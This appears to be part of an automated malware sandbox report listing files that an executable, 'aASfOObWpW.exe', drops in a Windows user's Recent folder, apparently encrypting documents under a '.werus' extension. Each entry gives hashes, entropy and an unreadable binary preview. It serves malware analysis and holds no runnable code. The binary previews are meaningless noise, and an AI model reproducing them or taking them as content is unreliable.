.N..z64m.......Qq4\|.h...^4...>.M.3.^.]...j.U.;U'.....'](...{5.CM.QR.U..;...l......dB.3...}$..BZ]p+.....-...K...kevM...1I.....N.QZ.Y..Q...d`.?..WE..]\|..o...b.....a..\".Z.!.:.C.F/d..+.i."w7."".U+..d.O..k.']3I._.\|..,D.&.E......:.G..~.0...F..6./...~&......-...1}p.y*...$.l@YW.=e...5..CdI-.7...mI.$c..\..n.oXL.......j.[MY.U....C....2........$.w7L.K..b.l..).vH................aV.a%..z..<.#.K.(...`..7....y..%...I'';S\|..A.M#.....V<d.x._....:...;.:..o.w.."R{9&.g.e..d&..o{.b=.......F.O............F.8...!J.Z.u,....,W....F..0.r.r.db.;.9."b..t.o..^Y.C..z.....bM`o>..zR...1.xc.....K....S.2....'..u........3.Ak.r]...[..A.M.......#.gEi...$.#-.......H.N....,O.;...W.<.....k..;a.J.[F;~&h....\|e....X.$..Y.S/.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EOWRVPQCCS.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816229943529569
Encrypted:	false
SSDEEP:	24:g5bN7uH2HOsIFflAiUBqlgI/YVuXUh4rE0G4678y3s5HSYzPVHEFIE6:g5mwgFflAjhuXUh4jZ6YOYzPlE8
MD5:	09BAFFA35D5CD9CCD242D501EA3B28E7
SHA1:	193B15EF4A5DEF2E5A3B0552D3FBF58C3BC0CA34
SHA-256:	9E4030950DB271B069C310A58496B1A40190BB112EA7D4EFAB2C2CBCC65B1DE6
SHA-512:	9F7B70ECCCFCFB4A70D225BD1C855F31DE7C9E31207C1D3FCCEBF6A11CA33396D630BA0B0A2355DE5B52C1407901B84D1CCEB68A27155CB80EF99E6C90234AF8
Malicious:	false
Preview:	.M.Kf.....@......2.18.c..C.S.".o.lm+..}(8.=...$..s....f...gcu.7..c...-O..%J......l..bs..I ...5:.6..C.../e.a...%.....!....Q.}:.X...A..../.4.q....f..o!.Z.r....o....VC.._s.~.g......\|.....P..F........._!&...I....Y,..\..Y.....R.T..6............ .y...0......\|....&M..Ix...oS....J..'.D..d..o.......(.U7S.x..W's....+..p..?.=a..b........fh....z.....im..q.rF../Nk..BO.`..l.... M?.......KE41......[....hT..'2.iJWK..../(...ac.......z..0.$i..oW...M?\s...;..y_.x.@..Y..(..t.4......~.j.._....<.Nwu..v..tI..W(.Z.v=.?.X..'.l..wt:,)M.lt.RF...[].y?.&.6....H..\|...mer.....4.....n=.Z.].f...ju@.....by\|..2.c..."..-h.,^5%.'Pd].".^.^...6U.Ip..d..7...B.^.pQ...ph...R-"F..e(..........P.B.g...A.R...).%F.....M..g.TM/!.Z.UCh]...m.....T\|..R.......P.9& .\...H...j.M...6......J.5..'D ...OP8..>v+...H*....y;B.j#....L?.[2/<`H.~..`g`....d....\G.v.xp[.AX...kF.....F.....r...jg.A..@..7.C)D..(r..#Zz6.tR..H2...Z.VY.{.......\|..$..:w.......=.....!d8.o^..\qP@`.Af..R...w......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EOWRVPQCCS.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816229943529569
Encrypted:	false
SSDEEP:	24:g5bN7uH2HOsIFflAiUBqlgI/YVuXUh4rE0G4678y3s5HSYzPVHEFIE6:g5mwgFflAjhuXUh4jZ6YOYzPlE8
MD5:	09BAFFA35D5CD9CCD242D501EA3B28E7
SHA1:	193B15EF4A5DEF2E5A3B0552D3FBF58C3BC0CA34
SHA-256:	9E4030950DB271B069C310A58496B1A40190BB112EA7D4EFAB2C2CBCC65B1DE6
SHA-512:	9F7B70ECCCFCFB4A70D225BD1C855F31DE7C9E31207C1D3FCCEBF6A11CA33396D630BA0B0A2355DE5B52C1407901B84D1CCEB68A27155CB80EF99E6C90234AF8
Malicious:	false
Preview:	.M.Kf.....@......2.18.c..C.S.".o.lm+..}(8.=...$..s....f...gcu.7..c...-O..%J......l..bs..I ...5:.6..C.../e.a...%.....!....Q.}:.X...A..../.4.q....f..o!.Z.r....o....VC.._s.~.g......\|.....P..F........._!&...I....Y,..\..Y.....R.T..6............ .y...0......\|....&M..Ix...oS....J..'.D..d..o.......(.U7S.x..W's....+..p..?.=a..b........fh....z.....im..q.rF../Nk..BO.`..l.... M?.......KE41......[....hT..'2.iJWK..../(...ac.......z..0.$i..oW...M?\s...;..y_.x.@..Y..(..t.4......~.j.._....<.Nwu..v..tI..W(.Z.v=.?.X..'.l..wt:,)M.lt.RF...[].y?.&.6....H..\|...mer.....4.....n=.Z.].f...ju@.....by\|..2.c..."..-h.,^5%.'Pd].".^.^...6U.Ip..d..7...B.^.pQ...ph...R-"F..e(..........P.B.g...A.R...).%F.....M..g.TM/!.Z.UCh]...m.....T\|..R.......P.9& .\...H...j.M...6......J.5..'D ...OP8..>v+...H*....y;B.j#....L?.[2/<`H.~..`g`....d....\G.v.xp[.AX...kF.....F.....r...jg.A..@..7.C)D..(r..#Zz6.tR..H2...Z.VY.{.......\|..$..:w.......=.....!d8.o^..\qP@`.Af..R...w......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EWZCVGNOWT.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	PGP Secret Sub-key -
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.79065821242137
Encrypted:	false
SSDEEP:	24:BcAdU2KB//CBVMAXn+f3LUIaU7+uL31kpFlPktxMXj/0f6pnMCoEfg5utW1w:t4/CoUKbUILHL3+fvX2nMg5utB
MD5:	9DEED8F2F1F373304403D616CC9E0594
SHA1:	7CD414ED3C387C574D7C75338331181B0BBB28DB
SHA-256:	B96E0EBE92206DDEC44A71DDF2C8ED0A6AB80C958CDA64D0EC73815A094304A6
SHA-512:	41213B2E77147AF4CA92FD223B95BD5DFA7C8EF4890BDCB37AF27189DCC83D2820DB393B75DC882FDE1DC7F17403EF990FEA9B0C0C3F988B2791F705CD2F1185
Malicious:	false
Preview:	...+ad).U.MC^BQ....I.d.F...S.,...J.oy...y......%'..S.....8d..[.3.+..U..-m.M....rrv;..b..xB........-=....J1H..WF...R...U..T.....zn.?.5C...=].?.6/."...Xg..,}...=.s_.;..c..^..n.0...n...5M.L.V6Z......F...N$...q.\..U.rwx..V...O4r.Y..4.J.<...DIu...hue...#[.m ..v.Q.8".....V.N2........r....4..n......}7..0..x.j....'R$9M..-%.v{...@1T.3dY<_i...z..XF.U...l.o.R.@I.aU..q.y......M.g#......%....Lc.\H...O.u... .%+p;..4MJp..v... q...H.;...}.o}...jq.=..wb7.S.3..!...".M.f=.......e.,.K..).sa[..w......W..&...."....$...s._......`.5.7...E...C.@..&".{{....-.-V............X....c...YrK..J\|..!y._Y.....F.......c..2m O}....w..#\.!.....3..H..Z(yd.....V5.R.N.?nD:..c.xL.v.......{........g9..I..$.../...k..&..A./...-..Gm.&6.:F..L...`...Ax..!p.\|..8.._...vxQ/....:&@.J.X ....4.Yi4XE.}...D {....A;......i....u..#......;."5L..Lr.B<.H.}.r....cg.....4.....f...I.[c..`.X..W.2.....ac......,.v.V.~i).."..d?..AyaD-.A+...e....z...r.F..r....o..F. .y.({....4)..B....^...Z..9......1v..i

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GIGIYTFFYT.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.827669742151911
Encrypted:	false
SSDEEP:	24:fgnoBx3i42aqrB6uMNImyUX0hwYQoe/Yx7KlGA9fPR0A+JlcHWwi:fgns3i458HZmNEWY7KlxfJ03lWWwi
MD5:	97414FC7A2AC9A9EE61DE1D3402538F6
SHA1:	EB849C45F020DCEFC4BC1E93792B8D4D2FFAEB4B
SHA-256:	017C0B78A08EBD838FD39EC2930EC91A9BB814C66F05F25CF3E6AAAE325A74F0
SHA-512:	7D65B4FCD395523AFD34A5F968FF19A518D7D004616150F0F10EC7F080C9B902876DE4BD0C92E53495DAEFD72244CAF1BD05EB35A1467F2E6FF2F0B1859565DE
Malicious:	false
Preview:	`6.......h...K.zI.A.^j`9..9....<..:.3../.$.......3..Z....o.1.W.P:;.@y.ut.AU^....._0...)..............8u......R....`.C...S.....`.);3.l....f.7...o.4..Q.P..BN.+F......]u{....~K`)....f6..../.1C(....p..T...m...V}./...uR~..2.Z..c..x....).....U...9...!....K.....l.i.t.@.\|.r.7.....u...u`.....t.^1.C.\|.bj~pI....$&...BXL../...8......>.S..E19X.\|..coE...-...R..\|.X.9.P}.I....,..!..W.T......."9{.l.I.-.....V(Z.......%Enw.....\|q..SQkr].f"/...FS.D!...(M-n..s.{.o..R....\9...'...n.=.......4..?C../..c..<.......8A..S..vJ....sKC.^.....:......eNn...)&Y...K....3..6. ...LP%.j....FJ=...X..x.D....v.0......y#...=T.Z7..G(a.8.....r.B......y....W..B.....^.$....u..1...2.c.?...vt....ad......l.aF..#.@....].....^D.J...@...^....J.9..M8...Co..Pn../..N...g9.j..'a.n{.I.A..\*.7+F..%R..~...G.P.4..;.....9..<..8n......e..Ju.ZaHT._.....0KZ...w..M.\|..D6},.4......\|.........CYxQ..a+.1J+..X=...;..$...n..3.. .3.r.x.n..-.)W:z.LD....S....z..[I....X.e$...(kS....84... ...B~.....y.{.;

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GJBHWQDROJ.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.824049227578891
Encrypted:	false
SSDEEP:	24:lDOnyIVg9Hd/ZZwTegrncBWGuDhyCNOX2n1RJ0+FVeQFeM:lDBp/hZwCgrFGutkq1FmGeM
MD5:	63642E7629FB5F89A106BA03BD22CD6B
SHA1:	552267E00C0B0F2B39E6565335219DCED48FB7B6
SHA-256:	405E8200A731B10AD9C5843596FAF2B847AC5D29920546C46C0708366057831E
SHA-512:	402DA08E0C9B58F64E5EADEF59A311B525533E3ED31A1B5F9B6BFFE1AA2EF547443EBCD8BDEE0E6135583BB2A87BEB970C976E285E6FA137D55E2FB9826C785B
Malicious:	false
Preview:	.D....3.....p...m4o.iq.j.Zjf.[.6.....A./v..p<....e...........Z".G...HQ....n.~...-.A.$...8.{.....'.(......GL.t...C.F.I..u....s......T.....4....-2.<.S../.\|....iY..@.K..jJW.BE.!}./.$..}........p.."t}..s..^:904x...7.._.J..5dD..U:..k...k1x....ud. 4.8y5u:.."..].@.....mNmR.q....t..[_..Z.c(..I.ga<.V.......a.I.]..AH.~....!...&.Y....9R.....5..!L..K.2 ..cRHF..B..z..98=...@.9.d?...w..A,.....O..J}>.\|._9..9).....X[Q{dn$Y..t7=...aS..v.8...p@.).C.rg.#d.j..Q....zI..9N..-....;......myM...M..K..+9...w..zz...(..y2P.dk.@...U.za .$8..4..^$.,.F.....P.+../VA.W[....>xyH..M.&z.#.........sB(..........=.]QD..]}..Lh..:V'...WiN.=10@j.....eF.\|...."..K.]...r...c:.".y.@j..%Q.D."..P.T.l7)..E.u./.p3:.....L1.3D.,\~<J..F..M.-....#..S..A0.zp...^..1.i.(....L.p.@l.z.5...<).J...;...$...\|,...Q....6.7.bg\|.....L<.Q......i.s..F^WP..#I...%R#.u........W'..E1@...'.8i.....C........w."...n.D...c>-2.t]w..x[......5...[#y/...Y...0?..l.Bml;6K.F+A.8.]..Xy)....{bM<+.......G\)'&xU.(...2R

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.818295075917987
Encrypted:	false
SSDEEP:	24:PoGrfdfDSL3RcQoaBpX1M5PYk76TSLFcLEmTdMP86sSfAvj9T:wGrfdGL3iyDFkaTSLFqlT+P/fwj1
MD5:	A2C57B0A762457C69AC5F09A96A32E39
SHA1:	B0C84D0612E14608199EF729B08886ECFB166675
SHA-256:	04153BA8EB9949BE92DBED893F9EA4FAEBA7141240312BA2AA02228B18D04BFD
SHA-512:	B291BAEB2DA3F9D4E31D0A37443E83A3B22D82C19FD9024345F66A761EEB1725ABF653AA99BF64ED34FB3C6B1855A21E7ADE79A82738A4EF74B68E67F2E7BD24
Malicious:	false
Preview:	2........R_. .H_..e....Xt........(...T.Z..$/....t.`.M..#..x...."..5;....B..s/..eL.s.?.....T....tF.......:..E.sE....5...9. .../.N[..}...C;y...6v..^.8.Q.'..5....H..)........}.W.q...p..K#4.D...g......`.a..b...K...=a.Y..@..Yo..6..4.....y..l@B.'."...+S.n...%.i1....q..!3KW..a>D.OY.hc..i+.k.KC.u.u.P{O....0B....L....HUJ.X4.R>..R...M.....\|'.@...i{.zp..........LK.D.g.n..M.65....F...9@..."7.......h..\kc.py.@......_......}.`...?..51%.@..$>.....lv..>....j.Y}..2...&~.)!....$.t....E-WFW>..s.s..M.o..<9.K.G.E..`t...=...+..;..4.d.c.,0p....-...[....z#...i..f.3....Ib...3k..@..V.&..&d...k.....)...b(.yL"..5...:.8@`O.]8....i"8.UC'.zCd.......+z...E..o@_.)9.l>.....kE..Xq.R.!qo..J..c..0z..M.?...mp.L/..X.....T.......K`.......~....m..Q..>;.~n..c......#.9.H...g..c./y..... .1.C...] ...!..q...8{..t.d.+.>Vx..V<..+...tAsa.t..h..`7...M..?@.'.-......p.a5..!.....O._..M.;.....E....^c..Z#S.Y.tN.^...0......1sf.L..t...!x..[....N#....{.5.....s.O%......<.....&C.2

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.818295075917987
Encrypted:	false
SSDEEP:	24:PoGrfdfDSL3RcQoaBpX1M5PYk76TSLFcLEmTdMP86sSfAvj9T:wGrfdGL3iyDFkaTSLFqlT+P/fwj1
MD5:	A2C57B0A762457C69AC5F09A96A32E39
SHA1:	B0C84D0612E14608199EF729B08886ECFB166675
SHA-256:	04153BA8EB9949BE92DBED893F9EA4FAEBA7141240312BA2AA02228B18D04BFD
SHA-512:	B291BAEB2DA3F9D4E31D0A37443E83A3B22D82C19FD9024345F66A761EEB1725ABF653AA99BF64ED34FB3C6B1855A21E7ADE79A82738A4EF74B68E67F2E7BD24
Malicious:	false
Preview:	2........R_. .H_..e....Xt........(...T.Z..$/....t.`.M..#..x...."..5;....B..s/..eL.s.?.....T....tF.......:..E.sE....5...9. .../.N[..}...C;y...6v..^.8.Q.'..5....H..)........}.W.q...p..K#4.D...g......`.a..b...K...=a.Y..@..Yo..6..4.....y..l@B.'."...+S.n...%.i1....q..!3KW..a>D.OY.hc..i+.k.KC.u.u.P{O....0B....L....HUJ.X4.R>..R...M.....\|'.@...i{.zp..........LK.D.g.n..M.65....F...9@..."7.......h..\kc.py.@......_......}.`...?..51%.@..$>.....lv..>....j.Y}..2...&~.)!....$.t....E-WFW>..s.s..M.o..<9.K.G.E..`t...=...+..;..4.d.c.,0p....-...[....z#...i..f.3....Ib...3k..@..V.&..&d...k.....)...b(.yL"..5...:.8@`O.]8....i"8.UC'.zCd.......+z...E..o@_.)9.l>.....kE..Xq.R.!qo..J..c..0z..M.?...mp.L/..X.....T.......K`.......~....m..Q..>;.~n..c......#.9.H...g..c./y..... .1.C...] ...!..q...8{..t.d.+.>Vx..V<..+...tAsa.t..h..`7...M..?@.'.-......p.a5..!.....O._..M.;.....E....^c..Z#S.Y.tN.^...0......1sf.L..t...!x..[....N#....{.5.....s.O%......<.....&C.2

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HHWFPWGUPQ.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.8329240405159695
Encrypted:	false
SSDEEP:	24:XF6l/BDNpNvbn5ojVtinBJ+qYHHtahYlFloU3EtZoemZwM1dN:XS/B1bmVtiGJHt0Yb/3e+N
MD5:	7C30A3BECB1817DA2C3D7C683D2989AF
SHA1:	65399771BE8A3CCF567289625ED718C488EFFA55
SHA-256:	0942DC3A13DAF667111FE9DC38FE3E890AB744A505BCCE452CCC47E41D0CECAF
SHA-512:	7064187209269473A390DEBAD30D3DB85C04C7D7CFBB8CF6F148BD7E8A410F55835756EE8CF2A870386580119FB7C1A3B9EF1383DE9970FC51600F5445356641
Malicious:	false
Preview:	.IQ..kF........l....c.!!..=..C.N.h!t[..avNem?.M".b.XI.'&m1........mU.....p/...6..........d.RL...g.r.D.R..4d..1..x..4D$....U..!v.=(..I\| .kY.P...l4T...g.....7....._...B.\/.\.!H.....t.......\........^.g..#..lERgm...5.g...K.....sq..Z...E.........>.......4UH.E.l.q.}...FRj..~.X_V./....?eT.....`R...y.A..sp.?L.I./.p3 d.L.=.j.a.../..l.....3......U..{.6..j8?.....P.. o....!...e.J..W.Y ../:y....3&......vm0.nc.l..1.....&v ...)kL...".,H...W.k...<7K..{..Z.k..w.=.@i,.-..;A\...c....+LN]..<...}&d..N`.8...0{....q..>:(U.or^...`.z...bpO...7}..+..G.#Eo..=6......\$..x"n.I..../u;8x<..?....P.Y.-<%F4..C.`..`..WP5~U.4S...=}.:Z..S.V.00;.....8..kg..r....{..o.,...."h~..\.V..F.....!........=.....J..P}.o...#...D...dS!...h...:...e..;-....M..&j .......5;D.3....=.DL.:U2\]..W.}xY..dBg&.n...,l8...fC.#P~.7..lJ.0U'..h..8k.j.<.....7b.v!.>.r..+.-E..._;..........s.<..Q0....{>Q..V.`...s...F=j.m.W.&,.Tq..x.i......"&z"rM....p91,..CBH.Y....di>...!2....M...sh..H..\3./#.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IZMFBFKMEB.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.78885810597697
Encrypted:	false
SSDEEP:	24:2P48VcXV9dj24lYc0ZV4vofDI1ZHlhIs/Kt3hDy032yEJA0HGa/S:I4EcXVTGzPv7Lv32b/S
MD5:	C0DC3C13F504E69081603D5BF47A5B6A
SHA1:	6D4F0ED52F6CC717CB298659D691A367987B2199
SHA-256:	C8301A70352F51C430905DF024E7D05FAE95CF4BB7961937175A7D18B8202ECF
SHA-512:	F7A39AFC88E224973F1E9ABEEF8E93B35E465D3945F42501CAD38781577A13DE21E23F091932A0B11A77CBDE8A7355CE234B19557A65A476075F2BA9E938F918
Malicious:	false
Preview:	.g.p.K....5....eI..,C..65b...$.k.....G......E5<...-,(..}......E`.'..........p.B.5..J.T.Z5... N.F.........Ou.D.~.p..r&.>..Q.J.. 7.I..v.1=...(.4..<....A........6...l...z.....R..f1.{t...\.i..F.x..O.KF.y.x..0.....zJ./.to...o.....Vq..S..../........;%{..2.@[...F..!KQm....>zw.....v..%.5..~l...7...{..Oon5.N..yBK.+7.i...Ah.;.0.a~6.x....-...z.;.3y..W...n..jb..4.FQ...w#..m ..5&w.w..........7~...\|8.!..g...\U.f....>......=.E.2..+.)8........l.T....Oe...ie...2..A..2.. )z.U.M.0C.' n.9.\..M......^.(.]..{O.u.Z..~.S......~...B@..}.A5....7..........'...T.2}..<M..Z.'....O.L..Z.E.I.;h,....?....v..l.....z.s.es."b.....'J..$w.(..?WH\...2.Xo..........6...8..K...&..?x.o.......l1..<....e...i....7.;M;S..t`......{.....6r......f.0..2..*...~.BO.Njs.A.........X.c.<Ww&8...R..h.9.S.\|'.NL.<...y..%#....`..'{..c...8!.....HA...jf9.`.M^.......t...u[.-...\o.a.q....E{T\|..#.\|.g..g3......)vW.0....n.A...qL7..d...!...9...V...m)I.....)..v...r1M.Uu<#&)...{e..;)wu.....Tk.]..j...r.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IZMFBFKMEB.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.78885810597697
Encrypted:	false
SSDEEP:	24:2P48VcXV9dj24lYc0ZV4vofDI1ZHlhIs/Kt3hDy032yEJA0HGa/S:I4EcXVTGzPv7Lv32b/S
MD5:	C0DC3C13F504E69081603D5BF47A5B6A
SHA1:	6D4F0ED52F6CC717CB298659D691A367987B2199
SHA-256:	C8301A70352F51C430905DF024E7D05FAE95CF4BB7961937175A7D18B8202ECF
SHA-512:	F7A39AFC88E224973F1E9ABEEF8E93B35E465D3945F42501CAD38781577A13DE21E23F091932A0B11A77CBDE8A7355CE234B19557A65A476075F2BA9E938F918
Malicious:	false
Preview:	.g.p.K....5....eI..,C..65b...$.k.....G......E5<...-,(..}......E`.'..........p.B.5..J.T.Z5... N.F.........Ou.D.~.p..r&.>..Q.J.. 7.I..v.1=...(.4..<....A........6...l...z.....R..f1.{t...\.i..F.x..O.KF.y.x..0.....zJ./.to...o.....Vq..S..../........;%{..2.@[...F..!KQm....>zw.....v..%.5..~l...7...{..Oon5.N..yBK.+7.i...Ah.;.0.a~6.x....-...z.;.3y..W...n..jb..4.FQ...w#..m ..5&w.w..........7~...\|8.!..g...\U.f....>......=.E.2..+.)8........l.T....Oe...ie...2..A..2.. )z.U.M.0C.' n.9.\..M......^.(.]..{O.u.Z..~.S......~...B@..}.A5....7..........'...T.2}..<M..Z.'....O.L..Z.E.I.;h,....?....v..l.....z.s.es."b.....'J..$w.(..?WH\...2.Xo..........6...8..K...&..?x.o.......l1..<....e...i....7.;M;S..t`......{.....6r......f.0..2..*...~.BO.Njs.A.........X.c.<Ww&8...R..h.9.S.\|'.NL.<...y..%#....`..'{..c...8!.....HA...jf9.`.M^.......t...u[.-...\o.a.q....E{T\|..#.\|.g..g3......)vW.0....n.A...qL7..d...!...9...V...m)I.....)..v...r1M.Uu<#&)...{e..;)wu.....Tk.]..j...r.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JJLYAVPJZB.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.803361474761925
Encrypted:	false
SSDEEP:	24:0Se7/06+cNmr2Y1ArMG5kcOmLNjruq9YNsEWtoqtxT6FHxg:O70pckr2XrMzwpLuNs2q3T6FHa
MD5:	C2ED1B554DEDB13BA5F7ABBF06EF3230
SHA1:	1E7A7082492F565933EECCA50AAFF697B7A07FD2
SHA-256:	63A638AA5B837BE6FFE92BFEE50018824E286F3FC8AAF04A19ABD52977927A80
SHA-512:	3BB4F47303C127F836E07196AE73282F8D6FB04D473F5133E1FD49E39CD2237D0685A12198BE058337F945F78F67A1438C4EE337B8D0FF4F9F2A60275B8942E6
Malicious:	false
Preview:	>.+?2R.Z.A.......>A9...$.`...T..!.tZ@...X.j.......&...._/..4.....2.:r.jm..\T.\...._8\|..J.Bz..&2...A...R...=[..E.h...\.......?.Y..ZU.......3....7.._...P0D.N.!.....f"B6T...C..^:d;..*..qN(y'wX.g..... .O.a..]..j..{k......`Q.9w..2........6G...f.^w,..G...(...G..95.]..O_9...2.@.....+hD<.B+.\.g.J..N...}Q..L.q0..A...B.Y7m.4U.@..g.?....#k.m....}...`.....%V3...7.\|_^QcN..n.G..../.Z.')...'..\....[i..}....o.'.;..I.Y5.7.l..<.^c+.+.F.h./..APb.;.5...Z..d.C0sz....K\|I.$.w.KZ..k.M;?..`M$...7!m./Y...z-.V.{...~.X...&...s...g6..MY....1...n.....O.../!-0.o4.E..~.l_}...j.......,.........@......i......<Q.0K.X.V+.f.1,...............+}.4.~,.......Z8.2f.5-D...O.g.)'w.f8..?..Rq.".P.(+.tq.cQ.....Vw..$...o..v...l=l#......QHC%.....xb..K.QO.J.S....P.(...;..E....C%.....6S...E..R9m.......\G#1....~U.......hT...b..g4,....L.p,..<hIJ.l].).]@%..0..(.b7uv;.s5.........)..D.;A......H.O....].h\}..s.7..X.s+. ..N...n.o..mr...aU.`.r.......3...........A.n5.....U.av..WVP../..l.r.....T...Q.U

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MNKQCGFJDG.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.821084588633424
Encrypted:	false
SSDEEP:	24:HihCOm4rPqxyLWouoTHdykjy0AqXQUnhFmKL//Fyv:Om4rCoLvuoTHddjyGX/rmIc
MD5:	4D5E4667ADAD29B84507AA997719A891
SHA1:	B6394EEFB7BF60D59DA7FF7C3615D124EECCB5E7
SHA-256:	43B6C70C941BA257886216E0FB30B55A77560D5CE14AC2000C8DF48502CB4E00
SHA-512:	199F9D76CAD58C9DAB58368FC5C85047F434033B6E5EC04DCC5C3EBE99C6F5EE7FF7A2EECF46FD4EED3B02CC100290C11A3971B9BB43011F563672106889D185
Malicious:	false
Preview:	5Ya.h.......ZG.I...i."ZW..]I......7y.n./.4.......F..?.xy.........'A.....Yt-..QT.!....w...:..w.C@.I..c...=....m7.......JSbv...A.=bL....'8.9.W(^.b.B.r.o...W.....zG..\|.H...kc<h..}....SBr.F..Zc<.K.y.........}.[B0=..U.).^.{d>.."..Z.o5 ...wO...N.....r....A$..;...I..tQ.....$..;..r=T...h...P%siP...U..@.s>Ucy. ....~.e.Rj....wt....s... 1.?....n.b.......`...vk2T..)Fk.....QI...f:..Pu.=.?.....,H..[iSg..tL..p..KFw+..0.mp...x."I...\|.zR..O}.`.....N..d..{.......jhSy...e#Q..b...'z...>................\|.).M)..Ej..u+.<...c..vuq.K.{^G.u<...O......Ou>.)7.N..a.^..4.1.;w.$.I^d.Cv]..t.6m...!.......T.c.Jz."E..]...H.?H.P.jl.,....9U..W....,^...n.."F.o..T8..9../.O.9...2d0k.0!.^).5..bL....{..b....,.s.L..&M.,37....J.O.I...C.I...E.`..z...0.!^..B..e.Q7.._......D.RRX./R.L.~k@.X.\|..k.NQ......]....h..7......o....~...1[j..:....3D%J...]3%M#.\|...N....2..Q..r....g.4_xu.r.. ..x..g.G$.,;2........;U.e..8...q......E..n.{^.1r...2.r'K...n...'....!..m......,....n..u.m.;a......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NVWZAPQSQL.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815318155019802
Encrypted:	false
SSDEEP:	24:ekmW4TKI4HedQMw/ezvoFaPJqQ7DVhTBT7cHkgBdlqahLm+/3R9HN9g:eZW4ub+dQMae8EBquD3BT7wzBdlqavZy
MD5:	509F015F2DB9EE594031AB80CF3316C5
SHA1:	258B4567FACE4CEC1C0E889C5FF657635D546353
SHA-256:	AECB13B0A0403C12FB53B2B79621AC9DEE54EB271381B49776591F97A789E7D7
SHA-512:	48AA32EA89340F41E69DC1744EFAA9DE5E092DD96E65FC2E76C904A7CC06C3A1E2F84562264430CB7FDBFCC627DF9FE61DF5D8005AC9759F55FF94B147FD5DE4
Malicious:	false
Preview:	..$.vl...r..\|.=.hS59_7...P...,.W7...c..f'/.U..........X..AV,..y...Jb...6>..;.7.P..mS..2.=.PL..%..rq.mt...GT{.m.m....g.8s..8^.m;.`..gq.A..Qdw#..a...4.._..E....pS'.T.......u...A\|..\...S...=.5v g.=..[..v3...E.a...oY.K...fT.obGD..c6.>......K........... .......zR'!n.le..... ....mg.m.k.rX&.0.p...A&...c5..(;q.J...EC.'.O\|..........E.wd.....S.........Q:{].......W\w._..m...S&.d.h.....9.....Ex..-..-..MK.,.?'.......L...:K.6D.{3MFvV.\.$..5.S..U.Z..5J?TY.. ..,.5.=].z.hKf..Fzq...&..e.zL2..-v....Y.1N..u....@sA..[..-NS.....va.w...P......IPn........bdZ)..Q..6$..../.)..jCSm=('.Jea..{..sT8SZ..nP...I...rR..;m.......#........V.n.%[...;\|D...g).-r.?.....s..,v..........6[R...o.......B..............x...V.m.H.-.!..B.Y.....a........KU..i7...z...Yc..a.r.@..._.D.....l....;....BPn}..........9.u...c%u.R?V.r...>.r6i.L.xh..o..}+....K....s.k..-..yZ.:..z.M.jOR.YR%.)C..g._.\|../f.Zj...m7H._E..J....+._\.......o.&...er$.\..1W.1.% T..4....7..A....o~6y;..]@\|......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWCXBPIUYI.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.797194497503796
Encrypted:	false
SSDEEP:	24:gV+SntGZOlzxXSke4TDKLAcwuv9EqzykkCj0fnPltH06384aY:J6JYkdf2AcJv9D+Cjo7U6384n
MD5:	811EE7EBAB591C78E8DF64B6B66D771D
SHA1:	4F7963CFB17F4A3848578963E2DB2EF0BD4B1636
SHA-256:	CB40ADF7061D5289C19FD1788467D4E8AB16DDEEF386BB27B54F030942EC1EDF
SHA-512:	AAE7B7926F73FCD3C849E77F4E66287C047426DE74999EC08EF397B70C55244860BD265BCA7502FEC35785B61DCE49E5AECFF85DB0C26713566619FA860D75F3
Malicious:	false
